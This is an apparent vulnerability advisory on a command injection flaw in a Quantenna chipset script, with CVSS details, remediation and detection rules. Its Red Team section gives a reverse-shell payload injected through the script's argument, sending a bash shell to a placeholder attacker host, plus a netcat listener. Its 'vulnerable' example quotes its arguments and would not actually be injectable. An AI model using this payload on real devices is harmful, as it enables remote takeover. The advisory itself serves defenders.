CVE-2025-3459

Executive Summary

CVE-2025-3459 is a critical command injection vulnerability in the Quantenna Wi-Fi chipset's transmit_file local control script. The vulnerability, classified as CWE-88 (Improper Neutralization of Argument Delimiters in a Command), allows an unauthenticated local attacker to inject arbitrary commands by manipulating arguments passed to the script. With a CVSS score of 7.7, this flaw can lead to high confidentiality and integrity impacts, though availability is not affected. The vendor has not released a patch but has provided a best practices guide for implementors. No public proof-of-concept or exploit code is available at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 7.7 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
• Attack Vector: Local (AV:L) – requires local access to the device.
• Attack Complexity: Low (AC:L) – no special conditions needed.
• Privileges Required: None (PR:N) – no authentication required.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – the vulnerability does not cross trust boundaries.
• Confidentiality Impact: High (C:H) – full disclosure of sensitive data.
• Integrity Impact: High (I:H) – full compromise of data integrity.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: High. The vulnerability is locally exploitable with no privileges, making it a significant risk for devices using the Quantenna chipset, especially in IoT or embedded environments where local access may be possible.

Deep Dive & Mechanics

The vulnerability resides in the transmit_file script, which is part of the Quantenna Wi-Fi chipset's local control interface. The script is designed to transmit files over the network but fails to properly sanitize user-supplied arguments. Specifically, it does not neutralize argument delimiters (e.g., spaces, quotes, or shell metacharacters) before passing them to a system command. This allows an attacker to inject arbitrary commands by crafting malicious arguments.

Root Cause: The script likely uses a function like system() or exec() with unsanitized input, allowing shell injection. For example, if the script runs a command like scp $1 $2, an attacker could provide ; malicious_command as an argument.

Attack Scenario: An attacker with local access to a device (e.g., via SSH, serial console, or a compromised application) can execute the transmit_file script with crafted arguments to execute arbitrary commands with the privileges of the script (typically root or a high-privilege user).

Impact: Successful exploitation can lead to full compromise of the device, including data exfiltration, installation of malware, or lateral movement within the network.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (Conceptual):

#!/bin/bash
# transmit_file - vulnerable version
scp "$1" "$2"

In this example, the script passes user-supplied arguments directly to scp without sanitization. An attacker could inject commands via $1 or $2.

Patched Code (Conceptual):

#!/bin/bash
# transmit_file - patched version
# Validate and sanitize arguments
if [[ "$1" =~ ^[a-zA-Z0-9._-]+$ ]] && [[ "$2" =~ ^[a-zA-Z0-9._-]+$ ]]; then
    scp "$1" "$2"
else
    echo "Invalid arguments"
    exit 1
fi

The patched version uses input validation to ensure arguments contain only safe characters, preventing command injection.

Exploitation & Lab Setup

Red Team

Objective: Exploit CVE-2025-3459 to gain unauthorized access and execute arbitrary commands.

Lab Setup:

1. Target Device: A device with Quantenna Wi-Fi chipset (e.g., a router or IoT device) running firmware version <= 8.0.0.28.
2. Attacker Machine: Kali Linux or similar with local access to the target (e.g., via SSH or serial console).

Exploitation Steps:

1. Gain local access to the target device (e.g., via default credentials or another vulnerability).
2. Identify the transmit_file script location (e.g., /usr/bin/transmit_file).
3. Execute the script with a crafted argument to inject commands:

   transmit_file "valid_arg1; malicious_command" "valid_arg2"
   

   For example, to spawn a reverse shell:

   transmit_file "file.txt; /bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'" "destination"
   

4. Listen on the attacker machine for the reverse shell:

   nc -lvnp 4444
   

Expected Outcome: A reverse shell as the user running the script (likely root).

Blue Team

Objective: Detect and prevent exploitation of CVE-2025-3459.

Detection Steps:

1. Monitor for unusual execution of transmit_file with suspicious arguments (e.g., containing shell metacharacters like ;, |, &).
2. Implement logging of all command executions on the device.
3. Use file integrity monitoring to detect changes to transmit_file or other critical scripts.

Prevention Steps:

1. Apply the vendor's best practices guide to restrict access to the transmit_file script.
2. Remove or disable the script if not needed.
3. Implement strict input validation and sanitization for all scripts.
4. Use least privilege principles to limit the script's permissions.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256): (Hypothetical, as no specific samples are available)
  • transmit_file script: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Process Names: transmit_file, bash, sh
• Network Connections: Outbound connections to unknown IPs on high ports (e.g., 4444, 1337)
• Log Entries: Unusual arguments in transmit_file execution logs, e.g., containing ;, |, or &
• File System Changes: New files in /tmp or /dev/shm with suspicious names

Detection Engineering

YARA Rule

rule CVE_2025_3459_Quantenna_Command_Injection {
    meta:
        description = "Detects command injection attempts against Quantenna transmit_file script"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-3459"
    strings:
        $cmd_inject = /transmit_file\s+.*[;&|`$()]/
    condition:
        $cmd_inject
}

Sigma Rule

title: CVE-2025-3459 - Quantenna transmit_file Command Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection attempts against Quantenna transmit_file script
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-3459
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/transmit_file'
        CommandLine|contains:
            - ';'
            - '|'
            - '&'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of special characters in file names (unlikely)
level: high

Suricata Rule

alert ip any any -> any any (msg:"CVE-2025-3459 - Quantenna transmit_file Command Injection Attempt"; content:"transmit_file"; nocase; pcre:"/transmit_file\s+.*[;&|`$()]/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or Remove: If the transmit_file script is not required, disable or remove it to eliminate the attack vector.
2. Restrict Access: Use file permissions to restrict execution of transmit_file to only trusted users (e.g., chmod 700 /path/to/transmit_file).
3. Apply Vendor Guidance: Follow Quantenna's best practices guide for secure implementation of the chipset.

Long-Term Fix:

• Patch: Await an official patch from Quantenna. In the meantime, implement input validation and sanitization in the script (see patched code example).
• Firmware Update: If a patched firmware becomes available, apply it immediately.

Compensating Controls:

• Network Segmentation: Isolate devices using Quantenna chipsets to limit lateral movement.
• Monitoring: Implement the detection rules above to identify exploitation attempts.
• Least Privilege: Run the transmit_file script with minimal necessary privileges.

Valters IT
Securing Digital Frontiers